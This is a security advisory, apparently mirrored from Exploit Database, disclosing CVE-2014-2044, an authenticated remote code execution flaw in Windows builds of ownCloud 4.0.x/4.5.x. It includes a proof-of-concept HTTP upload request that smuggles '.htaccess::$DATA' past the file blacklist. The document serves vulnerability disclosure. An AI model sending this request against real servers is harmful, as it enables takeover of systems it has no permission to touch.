ownCloud 4.0.x/4.5.x – ‘upload.php?Filename’ Remote Code Execution

• Exploit Database
• 35 阅读

• 作者： Portcullis
  日期： 2014-03-10
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/32162/

• Vulnerability title: Remote Code Execution in ownCloud
  CVE: CVE-2014-2044
  Vendor: ownCloud
  Product: ownCloud
  Affected version: 4.0.x & 4.5.x
  Fixed version: 5.0
  Reported by: Alejo Murillo Moya
  
  Details:
  
  A remote code execution has been found and confirmed within ownCloud as
  an authenticated user. A successful attack could allow an authenticated
  attacker to execute PHP code, which could lead to a full compromise of
  the server and associated infrastructure. Please note that only the
  Windows versions of ownCloud are affected and that valid credentials are
  required.
  
  It is possible to create a custom .htaccess into the user's folder on
  Windows version of the application, which will enable PHP execution on
  the folder. This vulnerability exists because it is possible to bypass
  the internal blacklists using Windows ADS (Alternate Data Streams).
  
  Proof Of Concept:
  
  POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1
  [...]
  Content-Type: multipart/form-data; boundary=---------------------------21191376031994875607185408411
  Requesttoken: None
  
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="MAX_FILE_SIZE" 
  
  536870912
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="requesttoken" 
  
  None
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="dir" 
  
  /
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA" 
  Content-Type: text/plain
  
  <PUT YOUR TEXT HERE>
  -----------------------------21191376031994875607185408411--
  
  
  
  
  Further details at:
  https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2044/
  
  
  Copyright:
  Copyright (c) Portcullis Computer Security Limited 2014, All rights
  reserved worldwide. Permission is hereby granted for the electronic
  redistribution of this information. It is not to be edited or altered in
  any way without the express written consent of Portcullis Computer
  Security Limited.
  
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